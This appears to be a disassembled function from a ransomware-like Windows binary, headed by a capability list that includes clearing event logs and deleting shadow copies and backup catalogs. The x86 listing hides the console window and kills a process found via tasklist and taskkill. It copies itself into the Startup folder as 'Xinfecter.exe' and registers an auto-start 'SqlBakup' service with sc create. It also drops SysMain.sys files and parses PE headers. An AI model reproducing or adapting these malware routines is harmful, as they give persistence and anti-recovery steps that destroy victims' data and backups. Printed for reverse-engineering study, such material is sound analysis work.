Function at 0x42c170
Capabilities:
Clear windows event logs
Contain obfuscated stackstrings
Copy file
Delete volume shadow copies
Delete windows backup catalog
Hide graphical window
Move file
Parse pe header
Set console window title

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d945d
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x1b14
call fcn.00491740
mov eax, dword [0x51f164]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1488], eax
mov dword [ebp - 0x148c], 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov edi, dword [ebp + 8]
cmp edi, 1
jle 0x42c269
push 0
push 0x4f820f
lea ecx, [ebp - 0x8d4]
mov dword [ebp - 0x8c4], 0
mov dword [ebp - 0x8c0], 0xf
mov byte [ebp - 0x8d4], 0
call fcn.00431800
mov dword [ebp - 4], 0
mov esi, 1
nop dword [eax]
mov eax, dword [ebp - 0x1488]
lea ecx, [ebp - 0x8d4]
push dword [eax + esi*4]
call fcn.00431940
push 0x50078c
lea ecx, [ebp - 0x8d4]
call fcn.00431940
inc esi
cmp esi, edi
jl 0x42c210
sub esp, 0x18
lea eax, [ebp - 0x8d4]
mov ecx, esp
push eax
call fcn.00431c10
call fcn.004268a0
add esp, 0x18
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8d4]
call fcn.00431ac0
jmp 0x42c322
mov edx, str.Normal_Config
mov ecx, 0x520190
call fcn.004390a0
test al, al
je 0x42c281
call fcn.00427c10
mov edx, str.Manual_Mini_Config
mov ecx, 0x520190
call fcn.004390a0
test al, al
je 0x42c2ee
push str.c:R_cfg.ini
lea ecx, [ebp - 0x1518]
call fcn.00404960
lea ecx, [ebp - 0x1518]
mov dword [ebp - 4], 1
call fcn.00404a20
lea ecx, [ebp - 0x1518]
mov byte [ebp - 0x1476], al
mov dword [ebp - 4], 0xffffffff
call fcn.004049c0
cmp byte [ebp - 0x1476], 0
je 0x42e585
mov byte [0x5200eb], 0
mov byte [0x5200ee], 0
call fcn.0042a450
mov edx, str.Mini_Config
mov ecx, 0x520190
call fcn.004390a0
test al, al
je 0x42c306
call fcn.0042bd00
mov edx, str.Fast
mov ecx, 0x520190
call fcn.004390a0
test al, al
je 0x42c322
mov word [0x5200ec], 0
cmp byte [0x5200eb], 1
jne 0x42c422
xor eax, eax
mov ecx, 0x520138
mov word [0x520138], ax
mov eax, dword [0x52012c]
test eax, eax
jne 0x42c382
lea edx, [ecx - 2]
nop dword [eax + eax]
mov ax, word [edx + 2]
lea edx, [edx + 2]
test ax, ax
jne 0x42c350
mov eax, dword [0x4ff9e8]
mov dword [edx], eax
mov eax, dword [str.ykat]
mov dword [edx + 4], eax
mov eax, dword [0x4ff9f0]
mov dword [edx + 8], eax
mov ax, word [0x4ff9f4]
mov word [edx + 0xc], ax
mov eax, dword [0x52012c]
cmp eax, 1
jne 0x42c3c2
lea edx, [ecx - 2]
nop word [eax + eax]
mov ax, word [edx + 2]
lea edx, [edx + 2]
test ax, ax
jne 0x42c390
mov eax, dword [str.k2ba8v]
mov dword [edx], eax
mov eax, dword [0x4ff9fc]
mov dword [edx + 4], eax
mov eax, dword [0x4ffa00]
mov dword [edx + 8], eax
mov ax, word [0x4ffa04]
mov word [edx + 0xc], ax
mov eax, dword [0x52012c]
cmp eax, 2
jne 0x42c3fd
add ecx, 0xfffffffe
nop word [eax + eax]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x42c3d0
mov eax, dword [str.r1d8la]
mov dword [ecx], eax
mov eax, dword [0x4ffa0c]
mov dword [ecx + 4], eax
mov eax, dword [0x4ffa10]
mov dword [ecx + 8], eax
mov ax, word [0x4ffa14]
mov word [ecx + 0xc], ax
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x520138
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
call fcn.004158e0
cmp dword [0x52950c], 1
jg 0x42e585
mov edx, str.tasklist__v__fo_csv__findstr__i__dcdcf_
lea ecx, [ebp - 0x93c]
call fcn.00408780
push 0
push str.dcdcf
lea ecx, [ebp - 0x93c]
mov dword [ebp - 4], 2
call fcn.004313c0
cmp eax, 0xffffffff
je 0x42c510
push 0
push str._cmd.exe___
lea ecx, [ebp - 0x93c]
call fcn.004313c0
mov esi, eax
lea ecx, [ebp - 0x93c]
push esi
push 0x5007f4
call fcn.004313c0
sub eax, esi
lea ecx, [ebp - 0x93c]
sub eax, 3
push eax
lea eax, [esi + 0xb]
push eax
lea eax, [ebp - 0x1a00]
push eax
call fcn.00431360
push eax
lea eax, [ebp - 0x17f0]
mov byte [ebp - 4], 3
push str.taskkill__PID
push eax
call fcn.00439040
push 0x5007f8
push eax
lea eax, [ebp - 0xb64]
mov byte [ebp - 4], 4
push eax
call fcn.00439580
add esp, 0x18
lea ecx, [ebp - 0x17f0]
call fcn.00431ac0
lea ecx, [ebp - 0x1a00]
mov byte [ebp - 4], 7
call fcn.00431ac0
lea ecx, [ebp - 0xb64]
call fcn.00431660
mov edx, eax
lea ecx, [ebp - 0x1a18]
call fcn.00408780
lea ecx, [ebp - 0x1a18]
call fcn.00431ac0
lea ecx, [ebp - 0xb64]
mov byte [ebp - 4], 2
call fcn.00431ac0
call fcn.00412870
push 0x400
lea eax, [ebp - 0x814]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x814]
push eax
lea ecx, [ebp - 0x954]
call fcn.00431260
mov byte [ebp - 4], 8
call fcn.004136f0
lea ecx, [ebp - 0x1a30]
call fcn.00413590
push eax
mov ecx, 0x520088
call fcn.004311d0
lea ecx, [ebp - 0x1a30]
call fcn.004049c0
push str.:Users_
mov edx, 0x520088
lea ecx, [ebp - 0x1a60]
call fcn.00439b40
push 0x51fc48
mov edx, eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x1a48]
call fcn.00439c10
push str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartupXinfecter.exe
mov edx, eax
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x9cc]
call fcn.00439ad0
add esp, 0xc
lea ecx, [ebp - 0x1a48]
call fcn.004049c0
lea ecx, [ebp - 0x1a60]
mov byte [ebp - 4], 0xd
call fcn.004049c0
push 0
lea ecx, [ebp - 0x9cc]
call fcn.00431090
push eax
lea ecx, [ebp - 0x954]
call fcn.00431090
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
push eax
call esi
push str.:Documents_and_Settings_
mov edx, 0x520088
lea ecx, [ebp - 0x1a90]
call fcn.00439b40
push 0x51fc48
mov edx, eax
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x1a78]
call fcn.00439c10
push str.Start_MenuProgramsStartupXinfecter.exe
mov edx, eax
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x96c]
call fcn.00439ad0
add esp, 0xc
lea ecx, [ebp - 0x1a78]
call fcn.004049c0
lea ecx, [ebp - 0x1a90]
mov byte [ebp - 4], 0x12
call fcn.004049c0
push 0
lea ecx, [ebp - 0x96c]
call fcn.00431090
push eax
lea ecx, [ebp - 0x954]
call fcn.00431090
push eax
call esi
lea eax, [ebp - 0x14b8]
push eax
lea ecx, [ebp - 0x9cc]
call fcn.004310a0
mov esi, eax
lea ecx, [ebp - 0x9cc]
lea eax, [ebp - 0x14b0]
push eax
call fcn.004310c0
push ecx
push dword [esi]
lea ecx, [ebp - 0xa14]
push dword [eax]
call fcn.0043a4d0
lea eax, [ebp - 0xa14]
mov byte [ebp - 4], 0x13
push eax
mov edx, str.sc_create_SqlBakup_binPath__
lea ecx, [ebp - 0x1aa8]
call fcn.00438f40
push str.__startauto
push eax
lea eax, [ebp - 0xaa4]
mov byte [ebp - 4], 0x14
push eax
call fcn.00439580
add esp, 0x10
lea ecx, [ebp - 0x1aa8]
mov byte [ebp - 4], 0x16
call fcn.00431ac0
lea eax, [ebp - 0xa14]
mov edx, str.sc_create_SqlBakup_binPath__
push eax
lea ecx, [ebp - 0x1ac0]
call fcn.00438f40
push str.__start_auto
push eax
lea eax, [ebp - 0xabc]
mov byte [ebp - 4], 0x17
push eax
call fcn.00439580
add esp, 0x10
lea ecx, [ebp - 0x1ac0]
mov byte [ebp - 4], 0x19
call fcn.00431ac0
lea ecx, [ebp - 0xaa4]
call fcn.00431660
mov edx, eax
lea ecx, [ebp - 0x1ad8]
call fcn.00408780
lea ecx, [ebp - 0x1ad8]
call fcn.00431ac0
lea ecx, [ebp - 0xabc]
call fcn.00431660
mov edx, eax
lea ecx, [ebp - 0x1af0]
call fcn.00408780
lea ecx, [ebp - 0x1af0]
call fcn.00431ac0
lea eax, [ebp - 0x14ac]
push eax
lea ecx, [ebp - 0x96c]
call fcn.004310a0
mov esi, eax
lea ecx, [ebp - 0x96c]
lea eax, [ebp - 0x14b4]
push eax
call fcn.004310c0
push ecx
push dword [esi]
lea ecx, [ebp - 0xad4]
push dword [eax]
call fcn.0043a4d0
lea eax, [ebp - 0xad4]
mov byte [ebp - 4], 0x1a
push eax
mov edx, str.sc_create_SqlBakup_binPath__
lea ecx, [ebp - 0x1b08]
call fcn.00438f40
push str.__start_auto
push eax
lea eax, [ebp - 0xaec]
mov byte [ebp - 4], 0x1b
push eax
call fcn.00439580
add esp, 0x10
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 4], 0x1d
call fcn.00431ac0
lea ecx, [ebp - 0xaec]
call fcn.00431660
mov edx, eax
lea ecx, [ebp - 0x1568]
call fcn.00408780
lea ecx, [ebp - 0x1568]
call fcn.00431ac0
call fcn.00423dd0
mov edx, 0x5003a0
mov byte [ebp - 0x1476], al
lea ecx, [ebp - 0xb04]
call fcn.00408780
push 0
push str.Version_5.
lea ecx, [ebp - 0xb04]
mov byte [ebp - 4], 0x1e
call fcn.004313c0
cmp eax, 0xffffffff
setne byte [ebp - 0x1475]
sub esp, 0x18
mov ecx, esp
push 0x51fc48
call fcn.004312d0
call fcn.00413100
add esp, 0x18
cmp byte [0x5200ec], 0
jne 0x42c8b6
cmp byte [0x5200ee], 1
jne 0x42c8b6
cmp dword [0x52012c], 0
jne 0x42c8b6
mov ecx, 0x5200b8
call fcn.0043afa0
test al, al
je 0x42c8b6
sub esp, 0x18
lea eax, [ebp - 0x954]
mov ecx, esp
mov dword [ebp - 0x148c], esp
push eax
call fcn.004312d0
sub esp, 0x18
mov byte [ebp - 4], 0x1f
mov ecx, esp
push 0x51fc48
call fcn.004312d0
mov dl, byte [ebp - 0x1476]
mov cl, byte [ebp - 0x1475]
mov byte [ebp - 4], 0x1e
call fcn.004092a0
add esp, 0x30
call fcn.00415d90
mov dword [0x520128], eax
call fcn.00415d90
cmp dword [0x520128], eax
je 0x42c8f2
call fcn.00415d90
mov dword [0x520128], eax
call fcn.00415d90
mov ecx, dword [0x520128]
mov edx, 1
cmp ecx, eax
cmovne ecx, edx
mov dword [0x520128], ecx
lea eax, [ebp - 0x14a8]
mov ecx, 0x51fc30
push eax
call fcn.004310a0
mov esi, eax
mov ecx, 0x51fc30
lea eax, [ebp - 0x14a4]
push eax
call fcn.004310c0
push ecx
push dword [esi]
lea ecx, [ebp - 0xb1c]
push dword [eax]
call fcn.0043a4d0
lea eax, [ebp - 0xb1c]
mov byte [ebp - 4], 0x20
push eax
mov ecx, 0x51fc60
call fcn.00431a90
push ecx
mov edx, 5
lea ecx, [ebp - 0x1580]
call fcn.00408a80
add esp, 4
mov ecx, 0x51fce8
push eax
call fcn.004311d0
lea ecx, [ebp - 0x1580]
call fcn.004049c0
lea eax, [ebp - 0x1494]
mov ecx, 0x51fce8
push eax
call fcn.004310a0
mov esi, eax
mov ecx, 0x51fce8
lea eax, [ebp - 0x1490]
push eax
call fcn.004310c0
push ecx
push dword [esi]
lea ecx, [ebp - 0xb34]
push dword [eax]
call fcn.0043a4d0
push ecx
mov edx, 3
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x15b0]
call fcn.00408a80
push eax
lea ecx, [ebp - 0x1598]
mov byte [ebp - 4], 0x22
call fcn.00439d90
add esp, 8
mov ecx, 0x51fdb8
push eax
call fcn.004311d0
lea ecx, [ebp - 0x1598]
call fcn.004049c0
lea ecx, [ebp - 0x15b0]
call fcn.004049c0
mov byte [ebp - 4], 0x23
call fcn.00414500
mov edi, eax
lea ecx, [ebp - 0x85c]
mov dword [0x529518], edi
call fcn.004312b0
mov byte [ebp - 4], 0x24
xor esi, esi
cmp esi, edi
ja 0x42cad8
push str.:Users_
mov edx, 0x520088
lea ecx, [ebp - 0x15f8]
call fcn.00439b40
add esp, 4
lea ecx, [esi + esi*2]
mov byte [ebp - 4], 0x25
lea ecx, [ecx*8 + 0x5296c0]
mov edx, eax
push ecx
lea ecx, [ebp - 0x15e0]
call fcn.00439c10
add esp, 4
push str.AppDataSysMain.sys
mov edx, eax
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x15c8]
call fcn.00439ad0
add esp, 4
lea ecx, [ebp - 0x85c]
push eax
call fcn.004311d0
lea ecx, [ebp - 0x15c8]
call fcn.004049c0
lea ecx, [ebp - 0x15e0]
call fcn.004049c0
lea ecx, [ebp - 0x15f8]
mov byte [ebp - 4], 0x24
call fcn.004049c0
lea eax, [ebp - 0x85c]
push eax
lea ecx, [ebp - 0x1500]
call fcn.004312d0
lea ecx, [ebp - 0x1500]
mov byte [ebp - 4], 0x27
call fcn.00404a20
lea ecx, [ebp - 0x1500]
mov byte [ebp - 0x1475], al
mov byte [ebp - 4], 0x24
call fcn.004049c0
cmp byte [ebp - 0x1475], 0
jne 0x42cad8
mov edi, dword [0x529518]
inc esi
jmp 0x42ca04
lea eax, [ebp - 0x85c]
push eax
lea ecx, [ebp - 0x1530]
call fcn.004312d0
lea ecx, [ebp - 0x1530]
mov byte [ebp - 4], 0x28
call fcn.00404a20
lea ecx, [ebp - 0x1530]
mov byte [ebp - 0x1475], al
mov byte [ebp - 4], 0x24
call fcn.004049c0
cmp byte [ebp - 0x1475], 0
jne 0x42cb92
push str.:Users_
mov edx, 0x520088
lea ecx, [ebp - 0x1640]
call fcn.00439b40
add esp, 4
push 0x51fc48
mov edx, eax
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x1628]
call fcn.00439c10
add esp, 4
push str.AppDataSysMain.sys
mov edx, eax
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x1610]
call fcn.00439ad0
add esp, 4
lea ecx, [ebp - 0x85c]
push eax
call fcn.004311d0
lea ecx, [ebp - 0x1610]
call fcn.004049c0
lea ecx, [ebp - 0x1628]
call fcn.004049c0
lea ecx, [ebp - 0x1640]
mov byte [ebp - 4], 0x24
call fcn.004049c0
push str.:WindowsSysMain.sys
mov edx, 0x520088
lea ecx, [ebp - 0x82c]
call fcn.00439b40
add esp, 4
mov byte [ebp - 4], 0x2b
cmp byte [0x5200e9], 1
jne 0x42cbbc
call fcn.00420fa0
lea eax, [ebp - 0x82c]
push eax
lea ecx, [ebp - 0x14d0]
call fcn.004312d0
mov eax, 1
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x14d0]
mov dword [ebp - 0x1488], eax
mov dword [ebp - 0x148c], eax
call fcn.00404a20
test al, al
jne 0x42cc32
lea eax, [ebp - 0x85c]
push eax
lea ecx, [ebp - 0x14e8]
call fcn.004312d0
mov eax, 3
mov dword [ebp - 4], 0x2d
lea ecx, [ebp - 0x14e8]
mov dword [ebp - 0x1488], eax
mov dword [ebp - 0x148c], eax
call fcn.00404a20
mov byte [ebp - 0x1476], 0
test al, al
je 0x42cc39
mov byte [ebp - 0x1476], 1
mov eax, dword [ebp - 0x1488]
test al, 2
je 0x42cc5d
and eax, 0xfffffffd
lea ecx, [ebp - 0x14e8]
mov dword [ebp - 0x1488], eax
call fcn.004049c0
mov eax, dword [ebp - 0x1488]
and eax, 0xfffffffe
mov dword [ebp - 4], 0x2b
lea ecx, [ebp - 0x14d0]
mov dword [ebp - 0x148c], eax
call fcn.004049c0
cmp byte [ebp - 0x1476], 0
je 0x42d02b
lea eax, [ebp - 0x85c]
push eax
lea ecx, [ebp - 0x1548]
call fcn.004312d0
lea ecx, [ebp - 0x1548]
mov byte [ebp - 4], 0x2e
call fcn.00404a20
lea ecx, [ebp - 0x1548]
mov byte [ebp - 0x1475], al
mov byte [ebp - 4], 0x2b
call fcn.004049c0
cmp byte [ebp - 0x1475], 0
je 0x42ccd6
lea eax, [ebp - 0x85c]
push eax
lea ecx, [ebp - 0x82c]
call fcn.004311a0
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax]
sub esp, 0x18
lea eax, [ebp - 0x82c]
mov ecx, esp
push eax
call fcn.004312d0
call fcn.0040aed0
add esp, 0x18
test edx, edx
jg 0x42cd0d
jl 0x42cd04
cmp eax, 2
jae 0x42cd0d
push 0xbb8
call esi
jmp 0x42cce0
push 0xb8
lea eax, [ebp - 0xeac]
push 0
push eax
call fcn.004a8980
add esp, 4
lea eax, [ebp - 0x82c]
lea ecx, [ebp - 0xeac]
push 1
push eax
call fcn.00433b00
lea eax, [ebp - 0xeac]
mov byte [ebp - 4], 0x2f
push eax
lea ecx, [ebp - 0x1550]
mov word [ebp - 0x147c], 1
call fcn.00430cc0
push ecx
push dword [ebp - 0x147c]
lea ecx, [ebp - 0x844]
push 0
push dword [eax + 4]
push dword [eax]
call fcn.0043ae30
lea ecx, [ebp - 0xeac]
mov byte [ebp - 4], 0x30
call fcn.00433a90
push str.n7t0
lea ecx, [ebp - 0xa5c]
call fcn.00431bd0
push str.p2h6
lea ecx, [ebp - 0xb94]
mov byte [ebp - 4], 0x31
call fcn.00431bd0
push ecx
lea eax, [ebp - 0xa5c]
mov byte [ebp - 4], 0x32
push eax
lea ecx, [ebp - 0x844]
call fcn.00431400
mov esi, eax
lea eax, [ebp - 0xb94]
push ecx
push eax
lea ecx, [ebp - 0x844]
call fcn.00431400
push eax
push esi
lea eax, [ebp - 0x1658]
push eax
lea ecx, [ebp - 0x844]
call fcn.00431360
push eax
mov ecx, 0x520148
call fcn.00431b10
lea ecx, [ebp - 0x1658]
call fcn.00431ac0
mov eax, dword [ebp - 0xa4c]
mov ecx, 0x520148
push 0xffffffffffffffff
add eax, esi
push eax
lea eax, [ebp - 0x1670]
push eax
call fcn.00431360
push eax
mov ecx, 0x520148
call fcn.00431b10
lea ecx, [ebp - 0x1670]
call fcn.00431ac0
push 0
push str.p2h6
lea ecx, [ebp - 0x844]
call fcn.004313c0
mov esi, eax
push esi
push str.u4g8
lea ecx, [ebp - 0x844]
call fcn.004313c0
sub eax, esi
lea ecx, [ebp - 0x844]
sub eax, 4
push eax
lea eax, [esi + 4]
push eax
lea eax, [ebp - 0xa44]
push eax
call fcn.00431360
lea eax, [ebp - 0x1488]
mov byte [ebp - 4], 0x33
push eax
lea ecx, [ebp - 0xa44]
call fcn.004316c0
mov esi, eax
lea ecx, [ebp - 0xa44]
lea eax, [ebp - 0x14a0]
push eax
call fcn.004316e0
push ecx
push dword [esi]
lea ecx, [ebp - 0xc0c]
push dword [eax]
call fcn.0043a5b0
push 0x4faff0
mov ecx, 0x51fce8
mov byte [ebp - 4], 0x34
call fcn.00431170
lea eax, [ebp - 0xc0c]
mov ecx, 0x51fce8
push eax
call fcn.004311a0
push 0
push str.u4g8
lea ecx, [ebp - 0x844]
call fcn.004313c0
mov esi, eax
lea ecx, [ebp - 0x844]
push esi
push str.h2gq
call fcn.004313c0
sub eax, esi
lea ecx, [ebp - 0x844]
sub eax, 4
push eax
lea eax, [esi + 4]
push eax
lea eax, [ebp - 0xa2c]
push eax
call fcn.00431360
lea eax, [ebp - 0x149c]
mov byte [ebp - 4], 0x35
push eax
lea ecx, [ebp - 0xa2c]
call fcn.004316c0
mov esi, eax
lea ecx, [ebp - 0xa2c]
lea eax, [ebp - 0x1498]
push eax
call fcn.004316e0
push ecx
push dword [esi]
lea ecx, [ebp - 0xbf4]
push dword [eax]
call fcn.0043a5b0
lea eax, [ebp - 0xbf4]
mov byte [ebp - 4], 0x36
push eax
mov ecx, 0x51fdb8
call fcn.004311a0
mov dword [ebp - 0x914], 0
mov dword [ebp - 0x910], 0xf
mov byte [ebp - 0x924], 0
mov byte [ebp - 4], 0x37
mov edx, 0x520148
lea ecx, [ebp - 0x1688]
call fcn.00407fe0
push eax
lea ecx, [ebp - 0x924]
call fcn.00431b10
lea ecx, [ebp - 0x1688]
call fcn.00431ac0
push 0x4f820f
mov ecx, 0x520148
call fcn.00431a60
lea eax, [ebp - 0x924]
mov ecx, 0x520148
push eax
call fcn.00431a90
lea ecx, [ebp - 0x924]
call fcn.00431ac0
lea ecx, [ebp - 0xbf4]
call fcn.004049c0
lea ecx, [ebp - 0xa2c]
call fcn.00431ac0
lea ecx, [ebp - 0xc0c]
call fcn.004049c0
lea ecx, [ebp - 0xa44]
call fcn.00431ac0
lea ecx, [ebp - 0xb94]
call fcn.00431ac0
lea ecx, [ebp - 0xa5c]
call fcn.00431ac0
lea ecx, [ebp - 0x844]
call fcn.00431ac0
lea ecx, [ebp - 0xeac]
mov byte [ebp - 4], 0x2b
call fcn.0040ac80
jmp 0x42d82e
push 0xc0
lea eax, [ebp - 0xf6c]
push 0
push eax
call fcn.004a8980
add esp, 4
lea eax, [ebp - 0x82c]
lea ecx, [ebp - 0xf6c]
push 2
push eax
call fcn.004337b0
mov edx, 0x4ff9dc
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0xf5c]
call fcn.00439130
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
add ecx, eax
call fcn.00403730
lea ecx, [ebp - 0xf6c]
mov byte [ebp - 0x1475], al
call fcn.00433740
cmp byte [ebp - 0x1475], 0
je 0x42d0f9
lea eax, [ebp - 0x85c]
push eax
lea ecx, [ebp - 0x82c]
call fcn.004311a0
push 0xc0
lea eax, [ebp - 0x11ac]
push 0
push eax
call fcn.004a8980
add esp, 4
lea eax, [ebp - 0x82c]
lea ecx, [ebp - 0x11ac]
push 2
push eax
call fcn.004337b0
mov edx, 0x4ff9dc
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x119c]
call fcn.00439130
lea ecx, [ebp - 0x11ac]
call fcn.00433740
lea ecx, [ebp - 0x11ac]
mov byte [ebp - 4], 0x38
call fcn.0040b040
push pe_nt_image_headers32
lea eax, [ebp - 0x12b4]
push 0
push eax
call fcn.004a8980
add esp, 0xc
lea ecx, [ebp - 0x12b4]
push 1
call fcn.00415e60
push 0x800
push 0x529528
lea ecx, [ebp - 0x1270]
mov byte [ebp - 4], 0x3a
call fcn.00445c80
push pe_nt_image_headers32
lea eax, [ebp - 0x13bc]
push 0
push eax
call fcn.004a8980
add esp, 8
lea eax, [ebp - 0x12b4]
lea ecx, [ebp - 0x13bc]
push eax
call fcn.0042e5b0
push 0x40
lea eax, [ebp - 0xc4c]
mov byte [ebp - 4], 0x3b
push 0
push eax
call fcn.004a8980
add esp, 0xc
lea eax, [ebp - 0x12b4]
lea ecx, [ebp - 0xc4c]
push 1
push eax
call fcn.0042e750
xorps xmm0, xmm0
mov byte [ebp - 4], 0x3c
push 0x520148
lea ecx, [ebp - 0x8f4]
movups xmmword [ebp - 0x8f4], xmm0
call fcn.00430230
lea eax, [ebp - 0x8f4]
mov byte [ebp - 4], 0x3d
push eax
lea ecx, [ebp - 0xc48]
call fcn.00442590
xorps xmm0, xmm0
lea ecx, [ebp - 0x8e4]
push 0x51fbc0
movups xmmword [ebp - 0x8e4], xmm0
call fcn.00430230
lea eax, [ebp - 0x8e4]
mov byte [ebp - 4], 0x3e
push eax
lea ecx, [ebp - 0x137c]
call fcn.004423c0
mov ecx, 4
lea eax, [ebp - 0x13bc]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x42d1f7
mov edx, 0x51fbc0
lea ecx, [ebp - 0x16a0]
call fcn.00407e30
push eax
mov ecx, 0x51fcb8
call fcn.00431b10
lea ecx, [ebp - 0x16a0]
call fcn.00431ac0
push 0x12b
push 0
lea eax, [ebp - 0x9fc]
mov ecx, 0x51fcb8
push eax
call fcn.00431360
mov byte [ebp - 4], 0x3f
lea eax, [ebp - 0x9e4]
push dword [0x51fcc8]
mov ecx, 0x51fcb8
push 0x12b
push eax
call fcn.00431360
mov byte [ebp - 4], 0x40
mov ecx, 0x18
mov eax, 0x51fcb8
nop
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x42d270
lea eax, [ebp - 0x9e4]
mov ecx, 0x51fcb8
push eax
call fcn.00431a90
mov ecx, 0x18
lea eax, [ebp - 0x9e4]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x42d297
push ecx
lea edx, [ebp - 0x9fc]
lea ecx, [ebp - 0xb7c]
call fcn.00413f00
add esp, 4
mov byte [ebp - 4], 0x41
lea eax, [ebp - 0x9fc]
mov ecx, 0x18
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x42d2c6
push 0x51fcb8
lea edx, [ebp - 0xb7c]
lea ecx, [ebp - 0x16b8]
call fcn.004395d0
add esp, 4
mov ecx, 0x51fcb8
push eax
call fcn.00431b10
lea ecx, [ebp - 0x16b8]
call fcn.00431ac0
mov ecx, 0x18
mov eax, 0x51fbc0
nop word [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x42d310
mov dword [ebp - 0x8fc], ecx
mov dword [ebp - 0x8f8], 0xf
mov byte [ebp - 0x90c], cl
push 0x520148
lea ecx, [ebp - 0xbac]
mov byte [ebp - 4], 0x42
call fcn.00431c10
lea edx, [ebp - 0xbac]
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x16d0]
call fcn.00407e30
push eax
lea ecx, [ebp - 0x90c]
call fcn.00431b10
lea ecx, [ebp - 0x16d0]
call fcn.00431ac0
push 0xc0
lea eax, [ebp - 0x102c]
push 0
push eax
call fcn.004a8980
add esp, 4
lea eax, [ebp - 0x82c]
lea ecx, [ebp - 0x102c]
push 2
push eax
call fcn.004337b0
lea eax, [ebp - 0x90c]
mov byte [ebp - 4], 0x44
push eax
mov edx, str.n7t0
lea ecx, [ebp - 0x1700]
call fcn.00438f40
add esp, 4
push str.p2h6
push eax
lea eax, [ebp - 0x16e8]
mov byte [ebp - 4], 0x45
push eax
call fcn.00439580
add esp, 0xc
mov edx, eax
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x101c]
call fcn.00439470
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
add ecx, eax
call fcn.00403730
lea ecx, [ebp - 0x16e8]
mov byte [ebp - 0x1475], al
call fcn.00431ac0
lea ecx, [ebp - 0x1700]
mov byte [ebp - 4], 0x44
call fcn.00431ac0
lea ecx, [ebp - 0x102c]
call fcn.00433740
cmp byte [ebp - 0x1475], 0
je 0x42d4df
lea eax, [ebp - 0x85c]
push eax
lea ecx, [ebp - 0x82c]
call fcn.004311a0
push 0xc0
lea eax, [ebp - 0x10ec]
push 0
push eax
call fcn.004a8980
add esp, 4
lea eax, [ebp - 0x82c]
lea ecx, [ebp - 0x10ec]
push 2
push eax
call fcn.004337b0
lea eax, [ebp - 0x90c]
mov byte [ebp - 4], 0x47
push eax
mov edx, str.n7t0
lea ecx, [ebp - 0x1730]
call fcn.00438f40
add esp, 4
push str.p2h6
push eax
lea eax, [ebp - 0x1718]
mov byte [ebp - 4], 0x48
push eax
call fcn.00439580
add esp, 0xc
mov edx, eax
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x10dc]
call fcn.00439470
lea ecx, [ebp - 0x1718]
call fcn.00431ac0
lea ecx, [ebp - 0x1730]
mov byte [ebp - 4], 0x47
call fcn.00431ac0
lea ecx, [ebp - 0x10ec]
call fcn.00433740
lea ecx, [ebp - 0x10ec]
mov byte [ebp - 4], 0x44
call fcn.0040b040
lea eax, [ebp - 0x1484]
mov ecx, 0x51fdb8
push eax
call fcn.004310a0
mov esi, eax
mov ecx, 0x51fdb8
lea eax, [ebp - 0x147c]
push eax
call fcn.004310c0
push ecx
push dword [esi]
lea ecx, [ebp - 0xbc4]
push dword [eax]
call fcn.0043a4d0
push 0xc0
lea eax, [ebp - 0xd44]
mov byte [ebp - 4], 0x4a
push 0
push eax
call fcn.004a8980
add esp, 4
lea eax, [ebp - 0x82c]
lea ecx, [ebp - 0xd44]
push 0xb
push eax
call fcn.004337b0
push str.u4g8
lea edx, [ebp - 0xb34]
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0x1748]
call fcn.00439490
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0xd34]
call fcn.00439470
lea ecx, [ebp - 0x1748]
mov byte [ebp - 4], 0x4b
call fcn.00431ac0
push str.h2gq
lea edx, [ebp - 0xbc4]
lea ecx, [ebp - 0x1760]
call fcn.00439490
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0xd34]
call fcn.00439470
lea ecx, [ebp - 0x1760]
mov byte [ebp - 4], 0x4b
call fcn.00431ac0
lea ecx, [ebp - 0xd44]
call fcn.00433740
push 0x51fcb8
lea ecx, [ebp - 0x984]
call fcn.00431c10
push 0
push ecx
lea edx, [ebp - 0x984]
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0xbdc]
call fcn.00414670
add esp, 8
push str.:Users_
mov edx, 0x520088
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x1790]
call fcn.00439b40
add esp, 4
push 0x51fc48
mov edx, eax
